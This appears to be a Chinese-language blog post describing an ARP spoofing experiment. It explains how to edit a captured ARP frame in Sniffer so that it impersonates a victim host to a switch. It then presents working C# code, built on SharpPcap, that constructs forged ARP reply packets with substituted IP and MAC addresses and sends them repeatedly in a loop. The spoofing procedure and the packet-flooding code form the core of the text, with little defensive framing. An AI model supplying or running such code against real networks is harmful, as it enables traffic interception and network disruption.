本想写点什么,转念一想没有什么新的东西可写。比如sniffer的使用、局域网扫描原理、 ARP欺骗原理和方式,交换机的报文交换原理,等网上都有好多材料。我这里做的实验的是sniffer向交换机发送ARP欺骗报文.过程不做多说明,首先打开sniffer准备获取报文,然后ping某个主机 ,就可以获取ARP报文了,点击发送此帧。这里做一些修改,源MAC为被攻击主机MAC,目的MAC为交换机MAC,目的IP为交换机的IP ,源IP为被攻击主机的IP。
如图:
查找网上相关资料,用C#写了个发送ARP报文的小程序,其实也就只是做的修改,原程序存在一点小错误。
程序界面 如图:
这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/。 //链接已坏
这个项目和所有sniffer软件一样,是用wincap库的。需要安装wincap。http://www.winpcap.org/ //链接已坏
核心代码分析: //获取存在XML文档中的数据 public data getDate() { FileStream fs = File.OpenRead("config.xml"); System.Xml.Serialization.XmlSerializer xml = new System.Xml.Serialization.XmlSerializer (typeof(data)); data data = (data)xml.Deserialize(fs); fs.Close(); //需要关闭读取流,不然写入会有错误。源码在此处存在错误 return data; } //。。。。。。 //当关闭时,把修改之后的数据写入XML文档 public void saveData(data data) { FileStream fs = File.OpenWrite("config.xml"); System.Xml.Serialization.XmlSerializer xml = new System.Xml.Serialization.XmlSerializer(typeof(data)); xml.Serialize(fs, data); fs.Close(); } /// <summary> /// 发送数据 /// </summary> public void sendPack() { //需要添加SharpPcap.dll和PacketDotNet.dll引用 var cap = SharpPcap.CaptureDeviceList.Instance[0]; cap.Open(); while (true) { cap.SendPacket(packet); Time++; label1.Text = Time+"次"; if (Time == Convert.ToInt32(textBox2.Text)) { button2.Enabled = false; t.Abort(); } Thread.Sleep(timeSpan); } } /// <summary> /// 获取数据包,把需要设置数据插入到数据包中 /// </summary> /// <returns></returns> public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC) { //ARP数据包,这里可以结合第一张图片。 byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5}; //循环替换IP for (int i = 0; i < 4; i++) { packet[i + 28] = yIP[i]; packet[i + 38] = mIP[i]; } //循环替换MAC for (int i = 0; i < 6; i++) { packet[i+ 22] = yMAC[i]; packet[i] = mMAC[i]; packet[i+6] = yMAC[i]; packet[i + 32] = mMAC[i]; } return packet; }
代码参考http://www.cnblogs.com/zifeiniu/archive/2011/06/16/2083015.html